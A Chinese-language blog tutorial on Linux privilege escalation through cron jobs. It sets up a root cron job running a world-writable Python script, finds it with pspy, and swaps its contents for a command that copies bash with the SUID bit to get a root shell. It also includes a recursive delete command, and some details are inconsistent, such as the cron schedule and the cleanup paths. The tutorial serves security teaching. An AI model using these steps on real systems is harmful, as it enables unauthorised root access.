Linux提权之定时任务

漏洞介绍

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

Linux提权之定时任务

比如,在下面的crontab 命令中,就可以每个1个小时自动打印apach错误日志。

1 0 * * * printf "" > /var/log/apache/error_log

如果未正确配置Cron,则可以利用它获得root特权。

  1. cron作业中是否有可写的脚本或二进制文件?
  2. 我们可以覆盖cron文件本身吗?
  3. cron.d目录可写吗?

Cron通常以root特权运行。如果我们可以成功修改cron中的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。

漏洞复现

创建一个定时任务

目标:创建一个运行python脚本来擦除特定目录的所有数据
假设目录cleanup就是要擦除的目录,我们希望每隔2分钟就清除1次目录。首先,向该目录中创建一些文件:

mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls

下图是上面命令执行的结果:

创建文件

下面我们写一个python程序来删除 /home/cleanup的内容。

cd /tmp
vi cleanup.py
#!/usr/bin/env python
import os
import sys
try:
   os.system('rm -r /root/cleanup/* ')
except:
    sys.exit()

chmod 777 cleanup.py

创建文件

编辑crontab添加定时任务,每隔2分钟运行一次cleanup.py脚本。

vi /etc/crontab
*/2 *   * * *   root    /tmp/cleanup.py

下面是运行效果

创建文件

在真实环境下普通用户可能无法访问crontab文件,可以用pspy来监听进程。

pspy是一种命令行工具,无需root权限即可监听进程。可以查看其他用户执行的命令、cron作业等。

该工具的下载地址:

https://github.com/DominicBreuker/pspy

首先将pspy上传到目标机器:

1)chmod +x pspy64s

2)./pspy64

观察一段时间,发现/tmp/cleanup.py为root权限执行。

pspy64s

pspy64s

利用

查看/tmp/cleanup.py权限为普通用户可写

查看权限

打开文件,比如vi /tmp/cleanup.py,用下面的命令替换原来命令中的“os.system(‘rm -r /home/cleanup/* ‘)”:

os.system('cp /bin/bash /tmp/bash; chmod +s /tmp/bash')

修改文件

2分钟后,tmp目录下就会存在SUID权限的bash,运行/tmp/bash -p后就获取了root权限。

利用成功

root权限

提权成功。


本文作者: iceH
本文链接: http://www.secice.cn/p/75fd4604
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!